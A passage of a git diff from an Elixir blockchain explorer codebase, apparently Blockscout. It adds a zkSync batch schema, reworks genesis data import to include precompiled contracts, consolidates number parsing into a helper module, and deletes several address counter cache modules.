"zksync_transaction_batches" do + field(:timestamp, :utc_datetime_usec) + field(:l1_transaction_count, :integer) + field(:l2_transaction_count, :integer) + field(:root_hash, Hash.Full) + field(:l1_gas_price, Wei) + field(:l2_fair_gas_price, Wei) + field(:start_block, :integer) + field(:end_block, :integer) + + belongs_to(:commit_transaction, LifecycleTransaction, + foreign_key: :commit_id, + references: :id, + type: :integer + ) + + belongs_to(:prove_transaction, LifecycleTransaction, + foreign_key: :prove_id, + references: :id, + type: :integer + ) + + belongs_to(:execute_transaction, LifecycleTransaction, + foreign_key: :execute_id, + references: :id, + type: :integer + ) + + has_many(:l2_transactions, BatchTransaction, foreign_key: :batch_number) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = batches, attrs \\ %{}) do + batches + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:commit_id) + |> foreign_key_constraint(:prove_id) + |> foreign_key_constraint(:execute_id) + |> unique_constraint(:number) + end +end diff --git a/apps/explorer/lib/explorer/chain_spec/genesis_data.ex b/apps/explorer/lib/explorer/chain_spec/genesis_data.ex index a67036fa4213..f3a6f431d6b0 100644 --- a/apps/explorer/lib/explorer/chain_spec/genesis_data.ex +++ b/apps/explorer/lib/explorer/chain_spec/genesis_data.ex @@ -1,17 +1,20 @@ defmodule Explorer.ChainSpec.GenesisData do @moduledoc """ - Fetches genesis data. + Handles the genesis data import. + + This module is responsible for managing the import of genesis data into the + database, which includes pre-mined balances and precompiled smart contract + bytecodes. """ use GenServer require Logger + alias Explorer.Chain.SmartContract alias Explorer.ChainSpec.Geth.Importer, as: GethImporter alias Explorer.ChainSpec.Parity.Importer - alias HTTPoison.Response - - @interval :timer.minutes(2) + alias Explorer.{Helper, HttpClient} def start_link(opts) do GenServer.start_link(__MODULE__, opts, name: __MODULE__) @@ -19,7 +22,7 @@ defmodule Explorer.ChainSpec.GenesisData do @impl GenServer def init(_) do - Process.send_after(self(), :import, @interval) + Process.send_after(self(), :import, Application.get_env(:explorer, __MODULE__)[:genesis_processing_delay]) {:ok, %{}} end @@ -27,13 +30,23 @@ defmodule Explorer.ChainSpec.GenesisData do # Callback for errored fetch @impl GenServer def handle_info({_ref, {:error, reason}}, state) do - Logger.warn(fn -> "Failed to fetch genesis data '#{reason}'." end) + Logger.warning(fn -> "Failed to fetch and import genesis data or precompiled contracts: '#{reason}'." end) fetch_genesis_data() {:noreply, state} end + # Initiates the import of genesis data. + # + # This function triggers the fetching and importing of genesis data, including pre-mined balances and precompiled smart contract bytecodes. + # + # ## Parameters + # - `:import`: The message that triggers this function. + # - `state`: The current state of the GenServer. + # + # ## Returns + # - `{:noreply, state}` @impl GenServer def handle_info(:import, state) do Logger.debug(fn -> "Importing genesis data" end) @@ -55,46 +68,101 @@ defmodule Explorer.ChainSpec.GenesisData do {:noreply, state} end + @doc """ + Fetches and processes the genesis data, which includes pre-mined balances and precompiled smart contract bytecodes. + + This function retrieves the chain specification and precompiled contracts + configuration from specified paths in the application settings. Then it + asynchronously extends the chain spec with precompiled contracts, imports + genesis accounts, and the precompiled contracts' sources and ABIs. + + ## Returns + - `Task.t()`: A task handle if the fetch and processing are scheduled successfully. + - `:ok`: Indicates no fetch was attempted due to missing configuration paths. + """ + @spec fetch_genesis_data() :: Task.t() | :ok def fetch_genesis_data do - path = Application.get_env(:explorer, __MODULE__)[:chain_spec_path] + chain_spec_path = get_path(:chain_spec_path) + Logger.info(fn -> "Fetching chain spec path: #{inspect(chain_spec_path)}." end) + precompiled_config_path = get_path(:precompiled_config_path) + Logger.info(fn -> "Fetching precompiled config path: #{inspect(precompiled_config_path)}." end) - if path do + if is_nil(chain_spec_path) and is_nil(precompiled_config_path) do + Logger.warning(fn -> + "Genesis data is not fetched. Neither chain spec path or precompiles config path are set." + end) + else json_rpc_named_arguments = Application.fetch_env!(:indexer, :json_rpc_named_arguments) variant = Keyword.fetch!(json_rpc_named_arguments, :variant) Task.Supervisor.async_nolink(Explorer.GenesisDataTaskSupervisor, fn -> - case fetch_spec(path) do - {:ok, chain_spec} -> - case variant do - EthereumJSONRPC.Parity -> - Importer.import_emission_rewards(chain_spec) - {:ok, _} = Importer.import_genesis_accounts(chain_spec) - - EthereumJSONRPC.Geth -> - {:ok, _} = GethImporter.import_genesis_accounts(chain_spec) - - _ -> - Importer.import_emission_rewards(chain_spec) - {:ok, _} = Importer.import_genesis_accounts(chain_spec) - end - - {:error, reason} -> - Logger.warn(fn -> "Failed to fetch genesis data. #{inspect(reason)}" end) - end + chain_spec = fetch_chain_spec(chain_spec_path) + precompiles_config = fetch_precompiles_config(precompiled_config_path) + + extended_chain_spec = extend_chain_spec(chain_spec, precompiles_config, variant) + import_genesis_accounts(extended_chain_spec, variant) + + import_precompiles_sources_and_abi(precompiles_config) end) + end + end + + @spec get_path(atom()) :: nil | binary() + defp get_path(key) do + case Application.get_env(:explorer, __MODULE__)[key] do + nil -> nil + value when is_binary(value) -> value + end + end + + # Retrieves the chain specification, returning an empty map if unsuccessful. + @spec fetch_chain_spec(binary() | nil) :: map() | list() + defp fetch_chain_spec(path) do + case do_fetch(path, "Failed to fetch chain spec.") do + nil -> %{} + value -> value + end + end + + # Retrieves the precompiled contracts configuration, returning an empty list if unsuccessful. + @spec fetch_precompiles_config(binary() | nil) :: list() + defp fetch_precompiles_config(path) do + case do_fetch(path, "Failed to fetch precompiles config.") do + nil -> [] + value -> value + end + end + + # Fetches JSON data from a specified path. + @spec do_fetch(binary() | nil, binary()) :: list() | map() | nil + defp do_fetch(path, warn_message_prefix) do + if path do + case fetch_spec_as_json(path) do + {:ok, chain_spec} -> + chain_spec + + {:error, reason} -> + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + Logger.warning(fn -> "#{warn_message_prefix} #{inspect(reason)}" end) + nil + end else - Logger.warn(fn -> "Failed to fetch genesis data. Chain spec path is not set." end) + nil end end - defp fetch_spec(path) do - if valid_url?(path) do + # Retrieves a JSON data from either a file or URL based on the source. + @spec fetch_spec_as_json(binary()) :: {:ok, list() | map()} | {:error, any()} + defp fetch_spec_as_json(path) do + if Helper.valid_url?(path) do fetch_from_url(path) else fetch_from_file(path) end end + # Reads and parses JSON data from a file. + @spec fetch_from_file(binary()) :: {:ok, list() | map()} | {:error, Jason.DecodeError.t()} # sobelow_skip ["Traversal"] defp fetch_from_file(path) do with {:ok, data} <- File.read(path) do @@ -102,9 +170,11 @@ defmodule Explorer.ChainSpec.GenesisData do end end + # Fetches JSON data from a provided URL. + @spec fetch_from_url(binary()) :: {:ok, list() | map()} | {:error, Jason.DecodeError.t() | any()} defp fetch_from_url(url) do - case HTTPoison.get(url) do - {:ok, %Response{body: body, status_code: 200}} -> + case HttpClient.get(url) do + {:ok, %{body: body, status_code: 200}} -> {:ok, Jason.decode!(body)} reason -> @@ -112,9 +182,138 @@ defmodule Explorer.ChainSpec.GenesisData do end end - defp valid_url?(string) do - uri = URI.parse(string) + # Extends the chain specification with precompiled contract information. + # + # This function modifies the chain specification to include precompiled + # contracts that are not originally listed in the spec. It handles different + # formats of chain specs (list or map) according to the `variant` specified + # and adds precompiles. + # + # ## Parameters + # - `chain_spec`: The original chain specification in map or list format. + # - `precompiles_config`: A list of precompiled contracts to be added. + # - `variant`: The client variant (e.g., Geth or Parity), which dictates the + # spec structure. + # + # ## Returns + # - The modified chain specification with precompiled contracts included. + @spec extend_chain_spec(map() | list(), list(), EthereumJSONRPC.Geth | EthereumJSONRPC.Parity) :: map() | list() + defp extend_chain_spec(chain_spec, [], _) do + chain_spec + end + + # Resulting spec will be handled by Explorer.ChainSpec.Geth.Importer + defp extend_chain_spec(chain_spec, precompiles_config, variant) + when is_list(chain_spec) and variant in [EthereumJSONRPC.Geth, EthereumJSONRPC.Besu] do + precompiles_as_map = + precompiles_config + |> Enum.reduce(%{}, fn contract, acc -> + Map.put(acc, contract["address"], %{ + "address" => contract["address"], + "balance" => 0, + "bytecode" => contract["bytecode"] + }) + end) + + filtered_maps_of_precompiles = + chain_spec + |> Enum.reduce(precompiles_as_map, fn account, acc -> + Map.delete(acc, account["address"]) + end) + + chain_spec ++ Map.values(filtered_maps_of_precompiles) + end + + # Resulting spec will be handled by Explorer.ChainSpec.Geth.Importer + defp extend_chain_spec(%{"genesis" => sub_entity} = chain_spec, precompiles_config, variant) + when variant in [EthereumJSONRPC.Geth, EthereumJSONRPC.Besu] do + updated_sub_entity = extend_chain_spec(sub_entity, precompiles_config, variant) + + Map.put(chain_spec, "genesis", updated_sub_entity) + end + + # Resulting spec will be handled by Explorer.ChainSpec.Geth.Importer + defp extend_chain_spec(chain_spec, precompiles_config, variant) + when is_map(chain_spec) and variant in [EthereumJSONRPC.Geth, EthereumJSONRPC.Besu] do + accounts = + case chain_spec["alloc"] do + nil -> %{} + value -> value + end + + updated_accounts = + precompiles_config + |> Enum.reduce(accounts, fn contract, acc -> + Map.put_new(acc, contract["address"], %{"balance" => 0, "code" => contract["bytecode"]}) + end) + + Map.put(chain_spec, "alloc", updated_accounts) + end + + # Resulting spec will be handled by Explorer.ChainSpec.Parity.Importer + defp extend_chain_spec(chain_spec, precompiles_config, _) when is_map(chain_spec) do + accounts = + case chain_spec["accounts"] do + nil -> %{} + value -> value + end + + updated_accounts = + precompiles_config + |> Enum.reduce(accounts, fn contract, acc -> + Map.put_new(acc, contract["address"], %{"balance" => 0, "constructor" => contract["bytecode"]}) + end) + + Map.put(chain_spec, "accounts", updated_accounts) + end + + # Imports genesis accounts from the specified chain specification and updates + # `Explorer.Chain.Address` and `Explorer.Chain.Address.CoinBalance`, and + # `Explorer.Chain.Address.CoinBalanceDaily`. + @spec import_genesis_accounts(map() | list(), EthereumJSONRPC.Geth | EthereumJSONRPC.Parity) :: any() + defp import_genesis_accounts(chain_spec, variant) do + if not Enum.empty?(chain_spec) do + case variant do + variant when variant in [EthereumJSONRPC.Geth, EthereumJSONRPC.Besu] -> + {:ok, _} = GethImporter.import_genesis_accounts(chain_spec) + + _ -> + Importer.import_emission_rewards(chain_spec) + {:ok, _} = Importer.import_genesis_accounts(chain_spec) + end + end + end + + # Iterates through the list of precompiles descriptions, and creating/updating + # each smart contract. + @spec import_precompiles_sources_and_abi([map()]) :: any() + defp import_precompiles_sources_and_abi(precompiles_config) do + precompiles_config + |> Enum.each(fn contract -> + attrs = %{ + address_hash: contract["address"], + name: contract["name"], + file_path: nil, + # todo: process zksync zk_compiler + compiler_version: contract["compiler"], + evm_version: nil, + optimization_runs: nil, + optimization: false, + contract_source_code: contract["source"], + constructor_arguments: nil, + external_libraries: [], + secondary_sources: [], + abi: Jason.decode!(contract["abi"]), + verified_via_sourcify: false, + verified_via_eth_bytecode_db: false, + verified_via_verifier_alliance: false, + partially_verified: false, + autodetect_constructor_args: nil, + compiler_settings: nil, + license_type: :none + } - uri.scheme != nil && uri.host =~ "." + SmartContract.create_or_update_smart_contract(contract["address"], attrs, false) + end) end end diff --git a/apps/explorer/lib/explorer/chain_spec/geth/importer.ex b/apps/explorer/lib/explorer/chain_spec/geth/importer.ex index be463750644e..1a7e86d2bffe 100644 --- a/apps/explorer/lib/explorer/chain_spec/geth/importer.ex +++ b/apps/explorer/lib/explorer/chain_spec/geth/importer.ex @@ -1,4 +1,3 @@ -# credo:disable-for-this-file defmodule Explorer.ChainSpec.Geth.Importer do @moduledoc """ Imports data from Geth genesis.json. @@ -7,10 +6,31 @@ defmodule Explorer.ChainSpec.Geth.Importer do require Logger alias EthereumJSONRPC.Blocks - alias Explorer.Chain - alias Explorer.Chain.Hash.Address, as: AddressHash - + alias Explorer.{Chain, Helper} + alias Explorer.Chain.Hash.Address + + @doc """ + Imports genesis accounts into the database from a chain specification. + + This function extracts genesis account information from a given chain specification, + including initial balances and contract bytecode. It enriches this data with additional + metadata, such as setting the block number to 0 (for genesis accounts) and determining + the day based on the timestamp of the first block. Subsequently, it imports the data + into `Explorer.Chain.Address`, `Explorer.Chain.Address.CoinBalance`, and + `Explorer.Chain.Address.CoinBalanceDaily` tables. + + ## Parameters + - `chain_spec`: A map or list representing the chain specification that contains + genesis account information. It may be structured directly as an + account list or as part of a larger specification map. + + ## Returns + - N/A + """ + @spec import_genesis_accounts(map() | list()) :: any() def import_genesis_accounts(chain_spec) do + # credo:disable-for-previous-line Credo.Check.Design.DuplicatedCode + # It duplicates `import_genesis_accounts/1` from `Explorer.ChainSpec.Parity.Importer` balance_params = chain_spec |> genesis_accounts() @@ -50,18 +70,72 @@ defmodule Explorer.ChainSpec.Geth.Importer do Chain.import(params) end - def genesis_accounts(chain_spec) do + @doc """ + Parses and returns the genesis account information from a chain specification. + + It extracts account data such as address hashes, initial balances, and + optionally, contract bytecode for accounts defined in the genesis block of + a blockchain configuration. + + ## Parameters + - `input`: Can be a list of account maps or a map of the entire chain specification. + + ## Returns + - A list of maps, each representing an account with keys for the address hash, + balance , and optionally, the contract bytecode. Accounts without defined + balances are omitted. + + ### Usage + - `genesis_accounts(%{"genesis" => genesis_data})`: Extracts accounts from + a nested genesis key. + - `genesis_accounts(chain_spec)`: Parses accounts from a chain specification that + includes an 'alloc' key. + - `genesis_accounts(list_of_accounts)`: Directly parses a list of account data. + Intended to be called after `genesis_accounts(%{"genesis" => genesis_data})` call. + """ + @spec genesis_accounts(map() | list()) :: [ + %{address_hash: Address.t(), value: non_neg_integer(), contract_code: String.t()} + ] + def genesis_accounts(%{"genesis" => genesis}) do + genesis_accounts(genesis) + end + + def genesis_accounts(raw_accounts) when is_list(raw_accounts) do + raw_accounts + |> Enum.map(fn account -> + with {:ok, address_hash} <- Chain.string_to_address_hash(account["address"]), + balance <- Helper.parse_number(account["balance"]) do + %{address_hash: address_hash, value: balance, contract_code: account["bytecode"]} + else + _ -> nil + end + end) + |> Enum.filter(&(!is_nil(&1))) + end + + def genesis_accounts(chain_spec) when is_map(chain_spec) do accounts = chain_spec["alloc"] if accounts do parse_accounts(accounts) else - Logger.warn(fn -> "No accounts are defined in genesis" end) + Logger.warning(fn -> "No accounts are defined in genesis" end) [] end end + # Parses account data from a provided map to extract address, balance, and optional contract code. + # + # ## Parameters + # - `accounts`: A map with accounts data. + # + # ## Returns + # - A list of maps with accounts data including address hashes, balances, + # and any associated contract code. + @spec parse_accounts(%{binary() => map()}) :: [ + %{:address_hash => Address.t(), value: non_neg_integer(), contract_code: String.t() | nil} + ] defp parse_accounts(accounts) do accounts |> Stream.filter(fn {_address, map} -> @@ -69,8 +143,8 @@ defmodule Explorer.ChainSpec.Geth.Importer do end) |> Stream.map(fn {address, %{"balance" => value} = params} -> formatted_address = if String.starts_with?(address, "0x"), do: address, else: "0x" <> address - {:ok, address_hash} = AddressHash.cast(formatted_address) - balance = parse_number(value) + {:ok, address_hash} = Address.cast(formatted_address) + balance = Helper.parse_number(value) code = params["code"] @@ -78,16 +152,4 @@ defmodule Explorer.ChainSpec.Geth.Importer do end) |> Enum.to_list() end - - defp parse_number("0x" <> hex_number) do - {number, ""} = Integer.parse(hex_number, 16) - - number - end - - defp parse_number(string_number) do - {number, ""} = Integer.parse(string_number, 10) - - number - end end diff --git a/apps/explorer/lib/explorer/chain_spec/parity/importer.ex b/apps/explorer/lib/explorer/chain_spec/parity/importer.ex index d4d2ad69df73..d104b59312cf 100644 --- a/apps/explorer/lib/explorer/chain_spec/parity/importer.ex +++ b/apps/explorer/lib/explorer/chain_spec/parity/importer.ex @@ -13,6 +13,7 @@ defmodule Explorer.ChainSpec.Parity.Importer do alias Explorer.Chain.Wei alias Explorer.ChainSpec.GenesisData alias Explorer.ChainSpec.POA.Importer, as: PoaEmissionImporter + alias Explorer.Helper, as: ExplorerHelper import Ecto.Query @@ -97,7 +98,7 @@ defmodule Explorer.ChainSpec.Parity.Importer do if accounts do parse_accounts(accounts) else - Logger.warn(fn -> "No accounts are defined in chain spec" end) + Logger.warning(fn -> "No accounts are defined in chain spec" end) [] end @@ -111,7 +112,7 @@ defmodule Explorer.ChainSpec.Parity.Importer do |> parse_hex_numbers() |> format_ranges() else - Logger.warn(fn -> "No rewards are defined in chain spec" end) + Logger.warning(fn -> "No rewards are defined in chain spec" end) [] end @@ -125,9 +126,9 @@ defmodule Explorer.ChainSpec.Parity.Importer do |> Stream.map(fn {address, %{"balance" => value} = params} -> formatted_address = if String.starts_with?(address, "0x"), do: address, else: "0x" <> address {:ok, address_hash} = AddressHash.cast(formatted_address) - balance = parse_number(value) + balance = ExplorerHelper.parse_number(value) - nonce = parse_number(params["nonce"] || "0") + nonce = ExplorerHelper.parse_number(params["nonce"] || "0") code = params["constructor"] %{address_hash: address_hash, value: balance, nonce: nonce, contract_code: code} @@ -161,28 +162,16 @@ defmodule Explorer.ChainSpec.Parity.Importer do defp parse_hex_numbers(rewards) when is_map(rewards) do Enum.map(rewards, fn {hex_block_number, hex_reward} -> - block_number = parse_number(hex_block_number) - {:ok, reward} = hex_reward |> parse_number() |> Wei.cast() + block_number = ExplorerHelper.parse_number(hex_block_number) + {:ok, reward} = hex_reward |> ExplorerHelper.parse_number() |> Wei.cast() {block_number, reward} end) end defp parse_hex_numbers(reward) do - {:ok, reward} = reward |> parse_number() |> Wei.cast() + {:ok, reward} = reward |> ExplorerHelper.parse_number() |> Wei.cast() [{0, reward}] end - - defp parse_number("0x" <> hex_number) do - {number, ""} = Integer.parse(hex_number, 16) - - number - end - - defp parse_number(string_number) do - {number, ""} = Integer.parse(string_number, 10) - - number - end end diff --git a/apps/explorer/lib/explorer/chain_spec/poa/importer.ex b/apps/explorer/lib/explorer/chain_spec/poa/importer.ex index 7f69e59be156..d97da4b8a979 100644 --- a/apps/explorer/lib/explorer/chain_spec/poa/importer.ex +++ b/apps/explorer/lib/explorer/chain_spec/poa/importer.ex @@ -39,7 +39,7 @@ defmodule Explorer.ChainSpec.POA.Importer do def import_emission_rewards do if is_nil(rewards_contract_address()) do - Logger.warn(fn -> "No rewards contract address is defined" end) + Logger.warning(fn -> "No rewards contract address is defined" end) else block_reward = block_reward_amount() emission_funds = emission_funds_amount() diff --git a/apps/explorer/lib/explorer/counters/address_gas_usage_counter.ex b/apps/explorer/lib/explorer/counters/address_gas_usage_counter.ex deleted file mode 100644 index 2572360f8eaf..000000000000 --- a/apps/explorer/lib/explorer/counters/address_gas_usage_counter.ex +++ /dev/null @@ -1,100 +0,0 @@ -defmodule Explorer.Counters.AddressTransactionsGasUsageCounter do - @moduledoc """ - Caches Address transactions gas usage counter. - """ - use GenServer - - alias Ecto.Changeset - alias Explorer.{Chain, Repo} - alias Explorer.Counters.Helper - - @cache_name :address_transactions_gas_usage_counter - @last_update_key "last_update" - - config = Application.get_env(:explorer, __MODULE__) - @enable_consolidation Keyword.get(config, :enable_consolidation) - - @spec start_link(term()) :: GenServer.on_start() - def start_link(_) do - GenServer.start_link(__MODULE__, :ok, name: __MODULE__) - end - - @impl true - def init(_args) do - create_cache_table() - - {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} - end - - @impl true - def handle_continue(:ok, %{consolidate?: true} = state) do - {:noreply, state} - end - - @impl true - def handle_continue(:ok, state) do - {:noreply, state} - end - - @impl true - def handle_info(:consolidate, state) do - {:noreply, state} - end - - def fetch(address) do - if cache_expired?(address) do - update_cache(address) - end - - address_hash_string = to_string(address.hash) - fetch_from_cache("hash_#{address_hash_string}") - end - - def cache_name, do: @cache_name - - defp cache_expired?(address) do - cache_period = address_transactions_gas_usage_counter_cache_period() - address_hash_string = to_string(address.hash) - updated_at = fetch_from_cache("hash_#{address_hash_string}_#{@last_update_key}") - - cond do - is_nil(updated_at) -> true - Helper.current_time() - updated_at > cache_period -> true - true -> false - end - end - - defp update_cache(address) do - address_hash_string = to_string(address.hash) - put_into_cache("hash_#{address_hash_string}_#{@last_update_key}", Helper.current_time()) - new_data = Chain.address_to_gas_usage_count(address) - put_into_cache("hash_#{address_hash_string}", new_data) - put_into_db(address, new_data) - end - - defp fetch_from_cache(key) do - Helper.fetch_from_cache(key, @cache_name) - end - - defp put_into_cache(key, value) do - :ets.insert(@cache_name, {key, value}) - end - - defp put_into_db(_address, value) when is_nil(value), do: :ignore - - defp put_into_db(address, value) do - address - |> Changeset.change(%{gas_used: Decimal.to_integer(value)}) - |> Repo.update() - end - - defp create_cache_table do - Helper.create_cache_table(@cache_name) - end - - defp enable_consolidation?, do: @enable_consolidation - - defp address_transactions_gas_usage_counter_cache_period do - Helper.cache_period("CACHE_ADDRESS_TRANSACTIONS_GAS_USAGE_COUNTER_PERIOD", 1) - end -end diff --git a/apps/explorer/lib/explorer/counters/address_token_transfers_counter.ex b/apps/explorer/lib/explorer/counters/address_token_transfers_counter.ex deleted file mode 100644 index 409030e18bf4..000000000000 --- a/apps/explorer/lib/explorer/counters/address_token_transfers_counter.ex +++ /dev/null @@ -1,98 +0,0 @@ -defmodule Explorer.Counters.AddressTokenTransfersCounter do - @moduledoc """ - Caches Address token transfers counter. - """ - use GenServer - - alias Ecto.Changeset - alias Explorer.{Chain, Repo} - alias Explorer.Counters.Helper - - @cache_name :address_token_transfers_counter - @last_update_key "last_update" - - config = Application.get_env(:explorer, __MODULE__) - @enable_consolidation Keyword.get(config, :enable_consolidation) - - @spec start_link(term()) :: GenServer.on_start() - def start_link(_) do - GenServer.start_link(__MODULE__, :ok, name: __MODULE__) - end - - @impl true - def init(_args) do - create_cache_table() - - {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} - end - - @impl true - def handle_continue(:ok, %{consolidate?: true} = state) do - {:noreply, state} - end - - @impl true - def handle_continue(:ok, state) do - {:noreply, state} - end - - @impl true - def handle_info(:consolidate, state) do - {:noreply, state} - end - - def fetch(address) do - if cache_expired?(address) do - update_cache(address) - end - - address_hash_string = to_string(address.hash) - fetch_from_cache("hash_#{address_hash_string}") - end - - def cache_name, do: @cache_name - - defp cache_expired?(address) do - cache_period = address_token_transfers_counter_cache_period() - address_hash_string = to_string(address.hash) - updated_at = fetch_from_cache("hash_#{address_hash_string}_#{@last_update_key}") - - cond do - is_nil(updated_at) -> true - Helper.current_time() - updated_at > cache_period -> true - true -> false - end - end - - defp update_cache(address) do - address_hash_string = to_string(address.hash) - put_into_cache("hash_#{address_hash_string}_#{@last_update_key}", Helper.current_time()) - new_data = Chain.address_to_token_transfer_count(address) - put_into_cache("hash_#{address_hash_string}", new_data) - put_into_db(address, new_data) - end - - defp fetch_from_cache(key) do - Helper.fetch_from_cache(key, @cache_name) - end - - defp put_into_cache(key, value) do - :ets.insert(@cache_name, {key, value}) - end - - defp put_into_db(address, value) do - address - |> Changeset.change(%{token_transfers_count: value}) - |> Repo.update() - end - - defp create_cache_table do - Helper.create_cache_table(@cache_name) - end - - defp enable_consolidation?, do: @enable_consolidation - - defp address_token_transfers_counter_cache_period do - Helper.cache_period("CACHE_ADDRESS_TOKEN_TRANSFERS_COUNTER_PERIOD", 1) - end -end diff --git a/apps/explorer/lib/explorer/counters/address_tokens_usd_sum.ex b/apps/explorer/lib/explorer/counters/address_tokens_usd_sum.ex deleted file mode 100644 index 0b4f62e20c09..000000000000 --- a/apps/explorer/lib/explorer/counters/address_tokens_usd_sum.ex +++ /dev/null @@ -1,101 +0,0 @@ -defmodule Explorer.Counters.AddressTokenUsdSum do - @moduledoc """ - Caches Address tokens USD value. - """ - use GenServer - - alias Explorer.Chain - alias Explorer.Counters.Helper - - @cache_name :address_tokens_usd_value - @last_update_key "last_update" - - config = Application.get_env(:explorer, Explorer.Counters.AddressTokenUsdSum) - @enable_consolidation Keyword.get(config, :enable_consolidation) - - @spec start_link(term()) :: GenServer.on_start() - def start_link(_) do - GenServer.start_link(__MODULE__, :ok, name: __MODULE__) - end - - @impl true - def init(_args) do - create_cache_table() - - {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} - end - - @impl true - def handle_continue(:ok, %{consolidate?: true} = state) do - {:noreply, state} - end - - @impl true - def handle_continue(:ok, state) do - {:noreply, state} - end - - @impl true - def handle_info(:consolidate, state) do - {:noreply, state} - end - - def fetch(address_hash_string, token_balances) do - if cache_expired?(address_hash_string) do - Task.start_link(fn -> - update_cache(address_hash_string, token_balances) - end) - end - - fetch_from_cache("hash_#{address_hash_string}") - end - - @spec address_tokens_usd_sum([{Address.CurrentTokenBalance, Explorer.Chain.Token}]) :: Decimal.t() - defp address_tokens_usd_sum(token_balances) do - token_balances - |> Enum.reduce(Decimal.new(0), fn {token_balance, _}, acc -> - if token_balance.value && token_balance.token.usd_value do - Decimal.add(acc, Chain.balance_in_usd(token_balance)) - else - acc - end - end) - end - - def cache_name, do: @cache_name - - defp cache_expired?(address_hash_string) do - cache_period = address_tokens_usd_sum_cache_period() - updated_at = fetch_from_cache("hash_#{address_hash_string}_#{@last_update_key}") - - cond do - is_nil(updated_at) -> true - Helper.current_time() - updated_at > cache_period -> true - true -> false - end - end - - defp update_cache(address_hash_string, token_balances) do - put_into_cache("hash_#{address_hash_string}_#{@last_update_key}", Helper.current_time()) - new_data = address_tokens_usd_sum(token_balances) - put_into_cache("hash_#{address_hash_string}", new_data) - end - - defp fetch_from_cache(key) do - Helper.fetch_from_cache(key, @cache_name) - end - - defp put_into_cache(key, value) do - :ets.insert(@cache_name, {key, value}) - end - - defp create_cache_table do - Helper.create_cache_table(@cache_name) - end - - defp enable_consolidation?, do: @enable_consolidation - - defp address_tokens_usd_sum_cache_period do - Helper.cache_period("CACHE_ADDRESS_TOKENS_USD_SUM_PERIOD", 1) - end -end diff --git a/apps/explorer/lib/explorer/counters/address_transactions_counter.ex b/apps/explorer/lib/explorer/counters/address_transactions_counter.ex deleted file mode 100644 index bcd0a71207eb..000000000000 --- a/apps/explorer/lib/explorer/counters/address_transactions_counter.ex +++ /dev/null @@ -1,101 +0,0 @@ -defmodule Explorer.Counters.AddressTransactionsCounter do - @moduledoc """ - Caches Address transactions counter. - """ - use GenServer - - alias Ecto.Changeset - alias Explorer.{Chain, Repo} - alias Explorer.Counters.Helper - - @cache_name :address_transactions_counter - @last_update_key "last_update" - - config = Application.get_env(:explorer, __MODULE__) - @enable_consolidation Keyword.get(config, :enable_consolidation) - - @spec start_link(term()) :: GenServer.on_start() - def start_link(_) do - GenServer.start_link(__MODULE__, :ok, name: __MODULE__) - end - - @impl true - def init(_args) do - create_cache_table() - - {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} - end - - @impl true - def handle_continue(:ok, %{consolidate?: true} = state) do - {:noreply, state} - end - - @impl true - def handle_continue(:ok, state) do - {:noreply, state} - end - - @impl true - def handle_info(:consolidate, state) do - {:noreply, state} - end - - def fetch(address) do - if cache_expired?(address) do - update_cache(address) - end - - address_hash_string = to_string(address.hash) - fetch_from_cache("hash_#{address_hash_string}") - end - - def cache_name, do: @cache_name - - defp cache_expired?(address) do - cache_period = address_transactions_counter_cache_period() - address_hash_string = to_string(address.hash) - updated_at = fetch_from_cache("hash_#{address_hash_string}_#{@last_update_key}") - - cond do - is_nil(updated_at) -> true - Helper.current_time() - updated_at > cache_period -> true - true -> false - end - end - - defp update_cache(address) do - address_hash_string = to_string(address.hash) - put_into_cache("hash_#{address_hash_string}_#{@last_update_key}", Helper.current_time()) - new_data = Chain.address_to_transaction_count(address) - put_into_cache("hash_#{address_hash_string}", new_data) - put_into_db(address, new_data) - end - - defp fetch_from_cache(key) do - Helper.fetch_from_cache(key, @cache_name) - end - - defp put_into_cache(key, value) do - :ets.insert(@cache_name, {key, value}) - end - - defp put_into_db(address, value) do - address - |> Changeset.change(%{transactions_count: value}) - |> Repo.update() - end - - defp create_cache_table do - Helper.create_cache_table(@cache_name) - end - - defp enable_consolidation?, do: @enable_consolidation - - defp address_transactions_counter_cache_period do - case Integer.parse(System.get_env("CACHE_ADDRESS_TRANSACTIONS_COUNTER_PERIOD", "")) do - {secs, ""} -> :timer.seconds(secs) - _ -> :timer.hours(1) - end - end -end diff --git a/apps/explorer/lib/explorer/counters/addresses_counter.ex b/apps/explorer/lib/explorer/counters/addresses_counter.ex deleted file mode 100644 index 5febd8fbb9d4..000000000000 --- a/apps/explorer/lib/explorer/counters/addresses_counter.ex +++ /dev/null @@ -1,125 +0,0 @@ -defmodule Explorer.Counters.AddressesCounter do - @moduledoc """ - Caches the number of all addresses. - - It loads the count asynchronously and in a time interval of 30 minutes. - """ - - use GenServer - - alias Explorer.Chain - - @table :addresses_counter - - @cache_key "addresses" - - def table_name do - @table - end - - def cache_key do - @cache_key - end - - # It is undesirable to automatically start the consolidation in all environments. - # Consider the test environment: if the consolidation initiates but does not - # finish before a test ends, that test will fail. This way, hundreds of - # tests were failing before disabling the consolidation and the scheduler in - # the test env. - config = Application.get_env(:explorer, Explorer.Counters.AddressesCounter) - @enable_consolidation Keyword.get(config, :enable_consolidation) - - @update_interval_in_seconds Keyword.get(config, :update_interval_in_seconds) - - @doc """ - Starts a process to periodically update the counter of the token holders. - """ - @spec start_link(term()) :: GenServer.on_start() - def start_link(_) do - GenServer.start_link(__MODULE__, :ok, name: __MODULE__) - end - - @impl true - def init(_args) do - create_table() - - {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} - end - - def create_table do - opts = [ - :set, - :named_table, - :public, - read_concurrency: true - ] - - :ets.new(table_name(), opts) - end - - defp schedule_next_consolidation do - Process.send_after(self(), :consolidate, :timer.seconds(@update_interval_in_seconds)) - end - - @doc """ - Inserts new items into the `:ets` table. - """ - def insert_counter({key, info}) do - :ets.insert(table_name(), {key, info}) - end - - @impl true - def handle_continue(:ok, %{consolidate?: true} = state) do - consolidate() - schedule_next_consolidation() - - {:noreply, state} - end - - @impl true - def handle_continue(:ok, state) do - {:noreply, state} - end - - @impl true - def handle_info(:consolidate, state) do - consolidate() 